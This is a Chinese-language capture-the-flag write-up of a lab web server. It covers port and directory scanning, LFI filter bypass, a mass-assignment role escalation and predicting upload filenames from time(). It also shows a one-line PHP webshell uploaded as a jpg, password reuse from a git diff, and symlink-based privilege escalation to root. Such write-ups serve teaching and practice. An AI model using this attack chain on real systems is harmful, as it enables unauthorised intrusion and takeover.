基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ nmap -sC -sV 10.10.11.135
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-23 14:06 CST
Nmap scan report for 10.10.11.135
Host is up (0.076s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
| 256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_ 256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Simple WebApp
|_Requested resource was ./login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.47 seconds

80

目录扫描

扫描发现大部分都302到login,但有个image.php size是0,还有images目录,可能存在关联:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gobuster dir -u http://10.10.11.135/ -w /usr/share/dirb/wordlists/common.txt -x php,html,txt -t 50

/css (Status: 301) [Size: 310] [--> http://10.10.11.135/css/]
/footer.php (Status: 200) [Size: 3937]
/header.php (Status: 302) [Size: 0] [--> ./login.php]
/images (Status: 301) [Size: 313] [--> http://10.10.11.135/images/]
/image.php (Status: 200) [Size: 0]
/index.php (Status: 302) [Size: 0] [--> ./login.php]
/index.php (Status: 302) [Size: 0] [--> ./login.php]
/js (Status: 301) [Size: 309] [--> http://10.10.11.135/js/]
/login.php (Status: 200) [Size: 5609]
/logout.php (Status: 302) [Size: 0] [--> ./login.php]
/profile.php (Status: 302) [Size: 0] [--> ./login.php]
/server-status (Status: 403) [Size: 277]
/upload.php (Status: 302) [Size: 0] [--> ./login.php]

继续扫images目录可以发现里面还有个uploads目录:

1
2
3
gobuster dir -u http://10.10.11.135/images/ -w /usr/share/dirb/wordlists/common.txt -x php,html,txt -t 50

/uploads (Status: 301) [Size: 321] [--> http://10.10.11.135/images/uploads/]

所以猜测是upload.php上传的图片会存到这个文件夹,访问是通过image.php

参数fuzz

fuzz出来img参数,发现对于路径存在过滤:

1
2
3
4
5
6
ffuf -u "http://10.10.11.135/image.php?FUZZ=/etc/passwd" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0

img [Status: 200, Size: 25, Words: 3, Lines: 1]

➜ ~ curl http://10.10.11.135/image.php\?img\=/etc/passwd
Hacking attempt detected!%

LFI

基础的绕过,php伪协议:

后面就是读各种文件,知道需要role为1才能访问upload功能

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include("admin_auth_check.php");

$upload_dir = "images/uploads/";

if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}

$file_hash = uniqid();

$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}

// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}

if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}

if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>

admin_auth_check.php

1
2
3
4
5
6
7
8
9
10
11
<?php

include_once "auth_check.php";

if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
echo "No permission to access this panel!";
header('Location: ./index.php');
die();
}

?>

Admin

role

使用/etc/passwd中获取的aaron作为用户名和密码登录,user id是2:

update profile时添加参数role=1,提交后,可以发现页面多处Admin panel:

里面可以使用上传功能:

upload

注意前面upload,$file_hash实际上是兔子洞,因为使用的是单引号的字符串的$file_hash ,双引号才会使用变量内容,所以这里不是uniqid()生成的变量,所以这部分可以不用管,只需要知道文件名只和time有关就可以

另外虽然限制了只能上传jpg,但前面有LFI,所以可以上传里面是php代码的jpg,通过LFI去执行

webshell

所以就是上传图片,根据响应时间找到对应hash,得到文件名,LFI执行代码:

1
2
php -a
while (true){echo date("D M j G:i:s T Y"); echo " = " ; echo md5('$file_hash' .time());echo "\n";sleep(1);}

这个不能直接reverse shell,可能有防火墙

shell.jpg

1
<?php system($_GET[cmd]);?>

backup

opt目录可以发现一个source-files-backup.zip:

可以将其复制到images目录里,下载下来分析

1
2
3
cp+/opt/source-files-backup.zip+/var/www/html/images/uploads

10.10.11.135/images/uploads/source-files-backup.zip

db_conn

git log里可以发现更新过db_conn:

git diff对比可以发现两个不同的密码:

1
2
3
 <?php
-$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
+$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');

user flag

老密码就是aaron用户ssh密码:

提权信息

sudo可以运行netutils,实际上是一个jar包:

运行测试发现ftp模式使用wget下载文件,HTTP模式使用Axel/2.16.1下载文件,写到当前用户目录:

那如果创建一个软链接,写文件的时候就会写到软链接指向文件

提权 & root flag

所以可以直接写公钥进去,从而root登录:

参考资料